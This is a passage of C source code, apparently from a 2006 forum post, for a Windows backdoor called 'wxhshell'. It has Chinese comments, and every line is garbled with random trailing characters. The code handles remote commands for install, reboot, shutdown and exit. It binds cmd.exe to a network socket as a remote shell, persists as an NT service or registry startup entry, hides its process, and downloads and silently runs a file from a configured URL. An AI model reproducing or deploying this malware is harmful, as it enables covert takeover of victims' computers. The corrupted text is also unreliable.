  else { hor7~u+  
}Zhe%M=}G  
    switch(cmd[0]) { bIQ,=EA1  
  x4_IUIgh  
  // 帮助 .)Tj}Im2p  
  case '?': { q"2QNF'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v.0qE}' |  
    break; ]#!uke Q  
  } } ueFy<F  
  // 安装 aDlp>p^E>  
  case 'i': { %X}ZX|{O  
    if(Install()) ?h<4trYcv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]TdW;ZbZ  
    else /l$x}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `~1!nfFD  
    break; yR}. Xq/  
    } { U4!sJSl1  
  // 卸载 /dnwN7Gf  
  case 'r': { `e[S Zj\  
    if(Uninstall()) "*g+qll!5d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'tMpS3  
    else  W!Tx%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [%W'd9`>  
    break; Ufr@j` *  
    } pR0[qsQM  
  // 显示 wxhshell 所在路径 ?R`S-  
  case 'p': { uvys>]+  
    char svExeFile[MAX_PATH]; iP:i6U]  
    strcpy(svExeFile,"\n\r"); |vI*S5kn6A  
      strcat(svExeFile,ExeFile); QM$UxWo-  
        send(wsh,svExeFile,strlen(svExeFile),0); ZOK!SBn^?  
    break; 5_yQI D%Sq  
    } 6opin  
  // 重启 Vk5Z[w a  
  case 'b': { .i0K-B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kpOdyn(  
    if(Boot(REBOOT)) 5LeZ ?'"c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *k?:k78L  
    else { E)b$;'  
    closesocket(wsh); R2bqhSlF  
    ExitThread(0); bM W|:rn  
    } F.s$Y+c!6  
    break; 2.qPMqH  
    } =lacfPS  
  // 关机 U,GSWMI/K  
  case 'd': { VRo&1:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \;;M")$  
    if(Boot(SHUTDOWN)) T,38Pu@r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,@$5,rNf  
    else { g[xoS\d  
    closesocket(wsh); 0uy'Py@2<  
    ExitThread(0); # :+Nr  
    } Y,]Lk<Hm3  
    break; d0J /"<  
    } X9>fE{)!  
  // 获取shell mF~T?L"  
  case 's': { S ?Zh#`(*  
    CmdShell(wsh); vu0Ql1  
    closesocket(wsh); zLJ>)v$81  
    ExitThread(0); iFIGJS  
    break; j cd<'\;  
  } j?T'N:Qd  
  // 退出 %-hSa~20  
  case 'x': { uWS]l[Ga  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5D s[?  
    CloseIt(wsh); #*A'<Zm  
    break; /<[0o]  
    } >a3m!`lq  
  // 离开 nnlj#  
  case 'q': { Z[O hZ 9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zCs34=3 D[  
    closesocket(wsh); Sv=YI  
    WSACleanup(); $q!A1Fgk0  
    exit(1); kUBE+a6#  
    break; Jb,54uN  
        } .G/Rh92  
  } vG|!d+  
  } z']6C9m}  
xj5TnE9^  
  // 提示信息 KGt:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /*C!]Z>.  
} \p!UY 3'  
  } (g6e5Sgi>  
NKY|Z\  
  return; Lf_Y4a#  
} (l5p_x  
~cU1 /CW8  
// shell模块句柄 d+n2 c`i  
int CmdShell(SOCKET sock) {lK2yi  
{ HDm]njF%qQ  
STARTUPINFO si; 2gWR2 H@  
ZeroMemory(&si,sizeof(si)); wd:Yy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  9q X$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y S3~sA  
PROCESS_INFORMATION ProcessInfo; 2EgvS!"  
char cmdline[]="cmd"; @@R Mm$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]*dYX=6  
  return 0; s|IBX0^@  
} OvH:3 "Sdy  
sRB=<E*_  
// 自身启动模式 le*+(aw  
int StartFromService(void) :N8n6)#1=  
{ Bzz|2/1y  
typedef struct e'b*_Ps'  
{ lxd{T3LU  
  DWORD ExitStatus; z ]f(lwo{  
  DWORD PebBaseAddress; #-|fdcb  
  DWORD AffinityMask; 1dvP2E  
  DWORD BasePriority; o Mz{j:  
  ULONG UniqueProcessId; Ry95a%&/s  
  ULONG InheritedFromUniqueProcessId; NuOA'e+i  
}   PROCESS_BASIC_INFORMATION; "DN,1Q lCp  
_2KIe(,;  
PROCNTQSIP NtQueryInformationProcess; 'Agw~ &$  
%g :Q?   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c5p,~z_Dtu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {@X>!]  
tE %g)hL-  
  HANDLE             hProcess; W"=l@}I  
  PROCESS_BASIC_INFORMATION pbi; $9%F1:u  
Y:CX RU6eD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QC'Ru'8S  
  if(NULL == hInst ) return 0; i]n2\v AG  
cGm3LS6]*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z/,R{Jgt"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #91^1jyMf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yPE3Awh5  
U\%r33L )  
  if (!NtQueryInformationProcess) return 0; kA=5Kc  
kq| !{_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G#[A'tbKk  
  if(!hProcess) return 0; *iB&tWv  
DN:| s+Lz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Q>OZm\+  
A=kOSq 4Q  
  CloseHandle(hProcess); )>2L(~W  
(IV\s Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3JC uM_y  
if(hProcess==NULL) return 0; 1 b 7jNkQ  
b |:Y3_>  
HMODULE hMod; "{8j!+]4i  
char procName[255]; pZ8J\4+  
unsigned long cbNeeded; rp\`uj*D  
1v&!%9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !4Aj#`)  
g$]WKy(D  
  CloseHandle(hProcess); af<h2 r  
np2&W'C/i  
if(strstr(procName,"services")) return 1; // 以服务启动 yF\yxdUX#  
 Gd A!8  
  return 0; // 注册表启动 WVD48}HF-  
} yKhI&  
)W=O~g  
// 主模块 _-BP?'lN  
int StartWxhshell(LPSTR lpCmdLine) lU 62$2  
{ u xyj6(  
  SOCKET wsl; 7c"Csq/]I  
BOOL val=TRUE; $'KQP8M+  
  int port=0; c:7V..   
  struct sockaddr_in door; Dtd~}-_Q  
6):1U  
  if(wscfg.ws_autoins) Install(); (Y'cxwj%  
IP/%=m)\%  
port=atoi(lpCmdLine); ?98!2:'{9  
 2d*bF.  
if(port<=0) port=wscfg.ws_port; X<5fn+{]S:  
oeg Bk  
  WSADATA data; dnomnY(*<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *%/O (ohs@  
zG$5g^J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t Cb34Wpf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n UmyPQ~  
  door.sin_family = AF_INET; c5%}* "z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gtaa^mnxD  
  door.sin_port = htons(port); j4,y+ 9U  
!Ew ff|v"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p-I J':W  
closesocket(wsl); XB7*S*"!  
return 1; 46]BRL2 G  
} Iuz_u2"C  
~*bfS}F8I  
  if(listen(wsl,2) == INVALID_SOCKET) { /[dMw *SRz  
closesocket(wsl); ^R:&c;&,  
return 1; 7tWC<#  
} W8S sv  
  Wxhshell(wsl); ^vMlRt;  
  WSACleanup(); pl%!AY'oE>  
<y8oYe_!  
return 0; Tr_gc~  
$F^VtCx2&  
} F%<*a,m6g  
!`%j#bv  
// 以NT服务方式启动 q{`1 [R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M?YNK]   
{ 5IUdA?  
DWORD   status = 0; "x R6~8  
  DWORD   specificError = 0xfffffff; }$z(?b  
Eu' ;f_s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t@R[:n;+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n 6 pJ]Ce  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -&D=4,#  
  serviceStatus.dwWin32ExitCode     = 0; K@*+;6y@  
  serviceStatus.dwServiceSpecificExitCode = 0; I'*,<BPG  
  serviceStatus.dwCheckPoint       = 0; Hrpz4E%\Aw  
  serviceStatus.dwWaitHint       = 0; V\m"Hl>VIU  
.O"a:^i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kf>3T@  
  if (hServiceStatusHandle==0) return; 8OZasf  
=q0V%h{  
status = GetLastError(); ( 0/M?YQF  
  if (status!=NO_ERROR) [3bPoAr\  
{ 7zCJ3p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2`*w*  
    serviceStatus.dwCheckPoint       = 0; ~\(c;J*Ir  
    serviceStatus.dwWaitHint       = 0; [ne51F5_  
    serviceStatus.dwWin32ExitCode     = status; {!D(3~MI  
    serviceStatus.dwServiceSpecificExitCode = specificError; j7ZxA*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|US`,kfc  
    return; 5H.~pc2y  
  } +Kb 7N, "  
- (WH+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yVnG+R&  
  serviceStatus.dwCheckPoint       = 0; !*Is0``  
  serviceStatus.dwWaitHint       = 0; D& pn@6bB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @Pk<3.S0  
} B>c$AS\5y  
/V09Na,N  
// 处理NT服务事件,比如:启动、停止 Mq<ob+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;Tnid7:S  
{ `$Rgn3  
switch(fdwControl) Hghd Ts  
{ Y f!Oo  
case SERVICE_CONTROL_STOP: ^P@:CBO  
  serviceStatus.dwWin32ExitCode = 0; 'UhHcMh:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fn .J tIu  
  serviceStatus.dwCheckPoint   = 0; _|["}M"?  
  serviceStatus.dwWaitHint     = 0; ss%,  
  { pWKE`x^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;ZUj2WxE  
  } "7y, d%H  
  return; *JDz0M4f  
case SERVICE_CONTROL_PAUSE:  7qy PI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z*h:Nt%.  
  break; 2j8GJU/L  
case SERVICE_CONTROL_CONTINUE: iH4LZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iV/I909*''  
  break; JD#q6 &|  
case SERVICE_CONTROL_INTERROGATE: JrOx nxd^  
  break; j yD3Sa3  
}; R`@T<ob)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); chL1r9V)v  
} pp"#pl  
s4_Dqm  
// 标准应用程序主函数 Zpg;hj5_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) enJ; #aA  
{ Qwpni^D8j  
uQ-GJI^t  
// 获取操作系统版本 =( |%%,3  
OsIsNt=GetOsVer(); }qso} WI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]Z5m_-I  
R?iCJ5m  
  // 从命令行安装 Ur#jJR@%3  
  if(strpbrk(lpCmdLine,"iI")) Install(); +Mq\3  
P4Pc;8T@!  
  // 下载执行文件 N\*oL*[j  
if(wscfg.ws_downexe) { <b H *f w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nC p/.]Y*  
  WinExec(wscfg.ws_filenam,SW_HIDE); k!x|oC0  
} =KHb0d |.  
@CzFzVmF"  
if(!OsIsNt) { ]S4"JcM  
// 如果时win9x,隐藏进程并且设置为注册表启动 I :<,9.   
HideProc(); xg/(  
StartWxhshell(lpCmdLine); 7*uN[g#p  
} %urvX$r4K  
else \85%d0@3  
  if(StartFromService()) }y6@YfV${  
  // 以服务方式启动 nDdY~f.B  
  StartServiceCtrlDispatcher(DispatchTable); ~'lT8 n_  
else IOZw[9](+  
  // 普通方式启动  q6F1Rt  
  StartWxhshell(lpCmdLine); < 8' b  
56z>/`=  
return 0; ?@4Mt2Z\  
}
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只看该作者 1 发表于: 2006-10-10
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